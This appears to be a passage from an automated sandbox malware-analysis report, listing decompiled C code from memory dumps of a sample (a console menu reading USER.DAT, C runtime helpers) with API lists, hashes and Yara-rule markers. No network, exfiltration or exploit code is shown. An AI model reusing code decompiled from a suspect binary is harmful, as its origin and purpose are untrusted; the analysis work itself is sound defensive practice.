								_push( *((intOrPtr*)(_t433 - 0x18)) + 0x31 +  *(_t433 - 8) * 0x45);
								_push( *((intOrPtr*)(_t433 - 0x18)) + 0x22 +  *(_t433 - 8) * 0x45);
								_t320 =  *0xee2f20; // 0x0
								_t228 = E00EC7021(_t320, "%s %s %s %s\n",  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x18)));
								_t437 = _t436 + 0x18;
								if(_t228 == 0xffffffff) {
									break;
								}
								L3:
								_t307 = E00EC6EF1("USER.DAT", "r");
								_t450 = _t437 + 8;
								 *0xee2f28 = _t307;
								while(1) {
									L4:
									_push(_t433 - 0x78);
									_push(_t433 - 0x58);
									_t394 =  *0xee2f28; // 0x0
									_t309 = E00EC7021(_t394, "%s %s %s\n", _t433 - 0x38);
									_t451 = _t450 + 0x14;
									if(_t309 == 0xffffffff) {
										break;
									}
									L5:
									_t313 = E00EC8230( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x18)), _t433 - 0x38);
									_t450 = _t451 + 8;
									if(_t313 == 0) {
										 *(_t433 - 8) = 1 +  *(_t433 - 8);
									}
								}
								L8:
								_t310 =  *0xee2f28; // 0x0
								_push(_t310);
								E00EC6DB6(_t314, _t397, _t421, __eflags);
								_t436 = _t451 + 4;
							}
							L9:
							 *(_t433 - 0x30) =  *(_t433 - 8);
							_t364 =  *0xee2f20; // 0x0
							_push(_t364);
							E00EC6DB6(_t314, _t397, _t421, __eflags);
							E00EC20E0( *(_t433 - 8), _t397, _t421, __eflags, _t457);
							E00EC12B0(0x1e, 8);
							_push("1. View by USER NAME");
							E00EC715C(_t314, _t397, _t421, __eflags);
							E00EC12B0(0x1e, 0xa);
							_push("2. View by DATE");
							E00EC715C(_t314, _t397, _t421, __eflags);
							E00EC12B0(0x1e, 0xc);
							_push("3. View ALL User history");
							E00EC715C(_t314, _t397, _t421, __eflags);
							E00EC12B0(0x1e, 0xe);
							_push("4. Return to main menu");
							E00EC715C(_t314, _t397, _t421, __eflags);
							_t442 = _t437 + 0x14;
							E00EC12B0(1, 0xf);
							 *(_t433 - 8) = 0;
							while(1) {
								L11:
								__eflags =  *(_t433 - 8) - 0x4e;
								if(__eflags >= 0) {
									break;
								}
								L12:
								_push("_");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t442 = _t442 + 4;
								_t306 = 1 +  *(_t433 - 8);
								__eflags = _t306;
								 *(_t433 - 8) = _t306;
							}
							L13:
							E00EC12B0(0x17, 0x11);
							_push(" Press a number between the range [1 -4]  ");
							E00EC715C(_t314, _t397, _t421, __eflags);
							_t443 = _t442 + 4;
							 *(_t433 - 0xc) = 0;
							_t322 =  *(_t433 - 0xc);
							 *((char*)(_t433 - 2)) =  *(_t433 - 0xc);
							E00EC20E0( *(_t433 - 0xc), _t397, _t421, __eflags, _t457);
							 *(_t433 - 0x20) =  *((char*)(_t433 - 2));
							 *(_t433 - 0x20) =  *(_t433 - 0x20) - 1;
							__eflags =  *(_t433 - 0x20) - 3;
							if(__eflags > 0) {
								L38:
								E00EC20E0(_t322, _t397, _t421, __eflags, _t457);
								E00EC12B0(0xa, 0xa);
								_push("Your input is out of range! Enter a choice between 1 to 4!");
								E00EC715C(_t314, _t397, _t421, __eflags);
								E00EC12B0(0xf, 0xc);
								_push("Press ENTER to return to main menu...");
								_t249 = E00EC715C(_t314, _t397, _t421, __eflags);
								_t435 = _t443 + 8;
								 *(_t433 - 0x28) = 1;
								goto L39;
							} else {
								L14:
								switch( *((intOrPtr*)( *(_t433 - 0x20) * 4 +  &M00EC35F8))) {
									case 0:
										L15:
										E00EC12B0(0x1e, 0xa);
										_push("Enter user name : ");
										E00EC715C(_t314, _t397, _t421, __eflags);
										_t365 = _t433 - 0x58;
										_t249 = E00EC738B(" %s", _t433 - 0x58);
										_t435 = _t443 + 0xc;
										 *(_t433 - 8) = 0;
										while(1) {
											L17:
											__eflags =  *(_t433 - 8) -  *(_t433 - 0x30);
											if( *(_t433 - 8) >=  *(_t433 - 0x30)) {
												break;
											}
											L18:
											_t365 =  *((intOrPtr*)(_t433 - 0x18)) + 4 +  *(_t433 - 8) * 0x45;
											_t299 = E00EC8230( *((intOrPtr*)(_t433 - 0x18)) + 4 +  *(_t433 - 8) * 0x45, _t433 - 0x58);
											_t435 = _t435 + 8;
											__eflags = _t299;
											if(_t299 == 0) {
												_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x18));
												memcpy( *(_t433 - 0xc) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)), _t421, 0x11 << 2);
												_t435 = _t435 + 0xc;
												_t397 = _t421 + 0x22;
												asm("movsb");
												_t303 = 1 +  *(_t433 - 0xc);
												__eflags = _t303;
												 *(_t433 - 0xc) = _t303;
											}
											_t249 = 1 +  *(_t433 - 8);
											__eflags = _t249;
											 *(_t433 - 8) = _t249;
										}
										L21:
										_t322 =  *(_t433 - 0xc);
										 *(_t433 - 0x14) =  *(_t433 - 0xc);
										goto L39;
									case 1:
										do {
											L22:
											__eax = E00EC12B0(0x1e, 0xa);
											_push("Enter Date (dd/mm/yyyy) : ");
											__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
											__esp = __esp + 4;
											__edx = __ebp - 0x58;
											E00EC738B(" %s", __ebp - 0x58) = __ebp - 0x58;
											__eflags = E00EC1E60(__eflags, __ebp - 0x58);
											if(__eflags == 0) {
												__eax = E00EC1500(__edi, __esi, 0x1e, 0xa, 0x46, 0xa);
												_push(0xedf8b0);
												__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
												__esp = __esp + 4;
											}
											__ecx = __ebp - 0x58;
											__eflags = E00EC1E60(__eflags, __ebp - 0x58);
										} while (__eflags == 0);
										__edx = __ebp - 0x58;
										_push(__ebp - 0x58);
										__eax = E00EC15D0();
										 *(__ebp - 8) = 0;
										 *(__ebp - 0xc) = 0;
										while(1) {
											L27:
											__ecx =  *(__ebp - 8);
											__eflags =  *(__ebp - 8) -  *((intOrPtr*)(__ebp - 0x30));
											if( *(__ebp - 8) >=  *((intOrPtr*)(__ebp - 0x30))) {
												break;
											}
											L28:
											__edx = __ebp - 0x58;
											 *(__ebp - 8) =  *(__ebp - 8) * 0x45;
											__ecx =  *(__ebp - 0x18);
											__edx =  *(__ebp - 0x18) + 0x22 +  *(__ebp - 8) * 0x45;
											__eax = E00EC8230( *(__ebp - 0x18) + 0x22 +  *(__ebp - 8) * 0x45, __ebp - 0x58);
											__eflags = __eax;
											if(__eax == 0) {
												 *(__ebp - 8) =  *(__ebp - 8) * 0x45;
												__esi =  *(__ebp - 8) * 0x45 +  *(__ebp - 0x18);
												 *(__ebp - 0xc) =  *(__ebp - 0xc) * 0x45;
												__edi =  *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10));
												__ecx = 0x11;
												__eax = memcpy( *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10)), __esi, 0x11 << 2);
												__edi = __esi + __ecx;
												__edi = __esi + __ecx + __ecx;
												__ecx = 0;
												asm("movsb");
												__eax =  *(__ebp - 0xc);
												__eax = 1 +  *(__ebp - 0xc);
												__eflags = __eax;
												 *(__ebp - 0xc) = __eax;
											}
											__eax =  *(__ebp - 8);
											__eax = 1 +  *(__ebp - 8);
											__eflags = __eax;
											 *(__ebp - 8) = __eax;
										}
										L31:
										__ecx =  *(__ebp - 0xc);
										 *(__ebp - 0x14) = __ecx;
										goto L39;
									case 2:
										L32:
										 *(__ebp - 8) = 0;
										while(1) {
											L34:
											__eax =  *(__ebp - 8);
											__eflags =  *(__ebp - 8) -  *((intOrPtr*)(__ebp - 0x30));
											if( *(__ebp - 8) >=  *((intOrPtr*)(__ebp - 0x30))) {
												break;
											}
											L35:
											 *(__ebp - 8) =  *(__ebp - 8) * 0x45;
											__esi =  *(__ebp - 8) * 0x45 +  *(__ebp - 0x18);
											 *(__ebp - 0xc) =  *(__ebp - 0xc) * 0x45;
											__edi =  *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10));
											__ecx = 0x11;
											__eax = memcpy( *(__ebp - 0xc) * 0x45 +  *((intOrPtr*)(__ebp - 0x10)), __esi, 0x11 << 2);
											__edi = __esi + __ecx;
											__edi = __esi + __ecx + __ecx;
											__ecx = 0;
											asm("movsb");
											__ecx =  *(__ebp - 0xc);
											__ecx = 1 +  *(__ebp - 0xc);
											 *(__ebp - 0xc) = __ecx;
											__edx =  *(__ebp - 8);
											__edx = 1 +  *(__ebp - 8);
											__eflags = __edx;
											 *(__ebp - 8) = __edx;
										}
										L36:
										__edx =  *(__ebp - 0xc);
										 *(__ebp - 0x14) =  *(__ebp - 0xc);
										L39:
										__eflags =  *(_t433 - 0x14);
										if(__eflags == 0) {
											E00EC20E0(_t322, _t397, _t421, __eflags, _t457);
											E00EC12B0(0x1b, 0xc);
											_push(0xedf918);
											E00EC715C(_t314, _t397, _t421, __eflags);
											_t435 = _t435 + 4;
											_t249 = E00EC2E80(_t314, _t365, __eflags, _t457);
										}
										__eflags =  *(_t433 - 0x28);
										if( *(_t433 - 0x28) != 0) {
											L85:
											 *(_t433 - 0x28) = 0;
										} else {
											L42:
											 *(_t433 - 8) = 0;
											 *(_t433 - 0xc) =  *(_t433 - 0x14) - 1;
											while(1) {
												L44:
												__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
												if( *(_t433 - 8) >=  *(_t433 - 0x14)) {
													break;
												}
												L45:
												_t421 =  *(_t433 - 0xc) * 0x45 +  *((intOrPtr*)(_t433 - 0x10));
												memcpy( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x24)), _t421, 0x11 << 2);
												_t435 = _t435 + 0xc;
												_t397 = _t421 + 0x22;
												asm("movsb");
												_t322 = 1 +  *(_t433 - 8);
												 *(_t433 - 8) = 1 +  *(_t433 - 8);
												_t391 =  *(_t433 - 0xc) - 1;
												__eflags = _t391;
												 *(_t433 - 0xc) = _t391;
											}
											L46:
											 *(_t433 - 8) = 0;
											while(1) {
												L48:
												__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
												if(__eflags >= 0) {
													goto L50;
												}
												L49:
												_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x24));
												memcpy( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)), _t421, 0x11 << 2);
												_t435 = _t435 + 0xc;
												_t397 = _t421 + 0x22;
												asm("movsb");
												L47:
												_t322 = 1 +  *(_t433 - 8);
												__eflags = _t322;
												 *(_t433 - 8) = _t322;
											}
											goto L50;
										}
										goto L86;
									case 3:
										L37:
										goto L87;
								}
							}
							break;
						}
						L87:
						return _t249;
						L88:
					}
				}
			}

APIs

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC34B3
_wprintf.LIBCMT ref: 00EC3560

Strings

%s%s%s%s, xrefs: 00EC355B
%d., xrefs: 00EC34AE

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$ConsoleCursorHandlePosition
String ID: %d.$%s%s%s%s
API String ID: 3459578117-4028964860
Opcode ID: 26626cad2c60460d6dbbf7939bd7250ed9c6924fdc21eecbb3012098c46590a6
Instruction ID: 3b26b71be53aa973af3496c646ddbd5bb556f85bfd7531db5ea0c640d26090ee
Opcode Fuzzy Hash: 26626cad2c60460d6dbbf7939bd7250ed9c6924fdc21eecbb3012098c46590a6
Instruction Fuzzy Hash: 94418171E0404A6FCF1CCB94C6D1FBEBBB6EB91308F15919DD001BB246DA329A46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00ED1673, Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00ED1673(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				signed int _v20;
				void* __edi;
				signed int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				void* _t57;
				signed int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					_push(_t57);
					E00EC7857( &_v20, _t57, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E00ED124B( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							_t28 = _v20 + 4; // 0x20432f41
							__eflags = MultiByteToWideChar( *_t28, 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00EC8EFF(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							_t20 = _t59 + 0x74; // 0x3a202020
							__eflags = _t50 -  *_t20;
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t22 = _t59 + 0x74; // 0x3a202020
							_t59 =  *_t22;
							goto L21;
						}
						_t12 = _t59 + 0x74; // 0x3a202020
						__eflags = _t50 -  *_t12;
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t17 = _t59 + 0x74; // 0x3a202020
						_t18 = _t59 + 4; // 0x20432f41
						_t47 = MultiByteToWideChar( *_t18, 9, _t62,  *_t17, _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00ED16A7
__isleadbyte_l.LIBCMT ref: 00ED16D5
MultiByteToWideChar.KERNEL32(20432F41,00000009,?,3A202020,00000000,00000000,?,00000000,?,?,00EDFF04,?,00000000), ref: 00ED1703
MultiByteToWideChar.KERNEL32(20432F41,00000009,?,00000001,00000000,00000000,?,00000000,?,?,00EDFF04,?,00000000), ref: 00ED1739

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0d32e45bac138e083c5efd87916c5627bf49e01a25106c4ff62e4a4a26827895
Instruction ID: d577eb6d7a4cb4770ee1b4895a487371c7da1b32934e4678aeaeb1903ba87702
Opcode Fuzzy Hash: 0d32e45bac138e083c5efd87916c5627bf49e01a25106c4ff62e4a4a26827895
Instruction Fuzzy Hash: DE31AF31600216BFEB218E65CC44BBA7BF5FF42354F1954AAE464A72A0D731E852DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00405751, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405751(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x412fc8 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x40cd48 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x71686281
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x00405756
0x0040575a
0x00405761
0x00405765
0x00405773
0x00405789
0x0040578d
0x004057b6
0x004057b8
0x004057bc
0x004057bf
0x004057bf
0x004057c5
0x004057c7
0x00000000
0x004057c8
0x0040578f
0x00405798
0x004057a7
0x0040579a
0x0040579d
0x004057a3
0x004057a3
0x004057ab
0x00000000
0x004057ad
0x004057b0
0x004057b2
0x00000000
0x004057b2
0x004057ab
0x00405767
0x0040576c
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,004056F8,00000000,00000000,00000000,00000000,?,004058F5,00000006,FlsSetValue), ref: 00405783
GetLastError.KERNEL32(?,004056F8,00000000,00000000,00000000,00000000,?,004058F5,00000006,FlsSetValue,0040D200,0040D208,00000000,00000364,?,004043F2), ref: 0040578F
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004056F8,00000000,00000000,00000000,00000000,?,004058F5,00000006,FlsSetValue,0040D200,0040D208,00000000), ref: 0040579D

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 179fc24cb71fa7b74b78db1aa8efd8080a6824dbe4e2c3e4e777693639d287a7
Instruction ID: a071a87d579bf16c10ed97f701b3afe57148fc5a73c01e838bdae708b7fec84a
Opcode Fuzzy Hash: 179fc24cb71fa7b74b78db1aa8efd8080a6824dbe4e2c3e4e777693639d287a7
Instruction Fuzzy Hash: 2001AC36612622DBD7214BA89D84E577BA8EF45B61F100635FA05F72C0D734D811DEE8

Uniqueness

Uniqueness Score: -1.00%

Function 00404320, Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404320(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x412064; // 0x7
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00403ECE(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E004058CE(_t25, __eflags,  *0x412064, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00404192(_t25, _t31, 0x4132a4);
							E00403E03(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E00403E03();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E00403E8B(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x412064; // 0x7
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E00403ECE(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E004058CE(_t27, __eflags,  *0x412064, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E00404192(_t27, _t32, 0x4132a4);
									E00403E03(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E00403E03();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E00405878(_t25, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E00405878(_t23, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x00404320
0x00404320
0x00404320
0x0040432a
0x0040432c
0x00404331
0x00404334
0x00404342
0x00404349
0x0040434e
0x00404351
0x00404354
0x00404366
0x0040436b
0x0040436d
0x00404378
0x0040437f
0x00404384
0x00404387
0x00404389
0x00000000
0x00000000
0x00000000
0x00000000
0x0040436f
0x0040436f
0x00000000
0x0040436f
0x00404356
0x00404356
0x00404357
0x00404357
0x0040435c
0x00404397
0x00404398
0x0040439e
0x004043a3
0x004043a6
0x004043a7
0x004043a8
0x004043af
0x004043b1
0x004043b3
0x004043b8
0x004043bb
0x004043c9
0x004043d5
0x004043d8
0x004043db
0x004043ed
0x004043f2
0x004043f4
0x004043ff
0x00404405
0x0040440d
0x0040440f
0x00000000
0x00000000
0x00000000
0x00000000
0x004043f6
0x004043f6
0x00000000
0x004043f6
0x004043dd
0x004043dd
0x004043de
0x004043de
0x00404411
0x00404412
0x00404412
0x004043bd
0x004043c3
0x004043c7
0x0040441a
0x0040441b
0x00404421
0x00000000
0x00000000
0x00000000
0x004043c7
0x00404428
0x00404428
0x00404336
0x0040433c
0x00404340
0x0040438b
0x0040438c
0x00404396
0x00000000
0x00000000
0x00000000
0x00404340

APIs

GetLastError.KERNEL32(?,?,004037D2,?,?,004016EA,00000000,?,00410E40), ref: 00404324
SetLastError.KERNEL32(00000000,?,?,004016EA,00000000,?,00410E40), ref: 0040438C
SetLastError.KERNEL32(00000000,?,?,004016EA,00000000,?,00410E40), ref: 00404398
_abort.LIBCMT ref: 0040439E

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$_abort
String ID:
API String ID: 88804580-0
Opcode ID: 62ede4f37894db3567f5427a1490bbed1412223467fdb5f37ac402c07740c3c0
Instruction ID: 10f1ed76ee289f7058500775698c1b2aead1ecf844b9f3100802fdeea25ad27f
Opcode Fuzzy Hash: 62ede4f37894db3567f5427a1490bbed1412223467fdb5f37ac402c07740c3c0
Instruction Fuzzy Hash: 75F0A976204701A6C21237769D0AB6B2A1ACBC1766F25423BFF18B22D1EF3CCD42859D

Uniqueness

Uniqueness Score: -1.00%

Function 00ECECB1, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00ECECB1(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00ECF1FE(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00ECED37(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00ECF473(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00ECF3B4(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 00ECECD5

Part of subcall function 00ECF3B4: __fltout2.LIBCMT ref: 00ECF3DD

__cftog_l.LIBCMT ref: 00ECECFB
__cftoe_l.LIBCMT ref: 00ECED2D

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 85a7c925fe6eb0757c77e3b1e88a084e72d6bf727e270b64b905a73ff38a4bf5
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: 7C014232440149FBCF165E94CD41EEE3F62BB18354B589419FA1A64231C237C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 00ECCC10, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00ECCC10(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				LONG* _t20;
				signed int _t25;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t24 = __ebx;
				_push(0xc);
				_push(0xedd9a0);
				E00EC9160(__ebx, __edi, __esi);
				_t31 = E00ECD59F(__edx, __edi, _t35);
				_t25 =  *0xee1c6c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t25) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00ECBE5F(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0xee1524; // 0xee1820
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0xee1820;
								if(__eflags != 0) {
									E00EC8F53(_t33);
								}
							}
						}
						_t20 =  *0xee1524; // 0xee1820
						 *(_t31 + 0x68) = _t20;
						_t33 =  *0xee1524; // 0xee1820
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00ECCCAC();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					E00EC751F(_t24, _t29, _t31, _t33, _t38, 0x20);
				}
				return E00EC91A5(_t33);
			}

APIs

Part of subcall function 00ECD59F: __getptd_noexit.LIBCMT ref: 00ECD5A0

__lock.LIBCMT ref: 00ECCC4D
InterlockedDecrement.KERNEL32(?), ref: 00ECCC6A
_free.LIBCMT ref: 00ECCC7D
InterlockedIncrement.KERNEL32(00EE1820), ref: 00ECCC95

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: da4ca56c0dce325aa88fc415fc8ca96f4ac274c77532bf58f4669ee22745ef14
Instruction ID: ab923cca8ed2eb524a3b132d53228f39e4ab8874c660fb78af3b037bee11bb97
Opcode Fuzzy Hash: da4ca56c0dce325aa88fc415fc8ca96f4ac274c77532bf58f4669ee22745ef14
Instruction Fuzzy Hash: 4301A132901A15AFD715AB66AB46FAEB3E0AF44714F25600DF81C77281CB325947CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 004025BA, Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

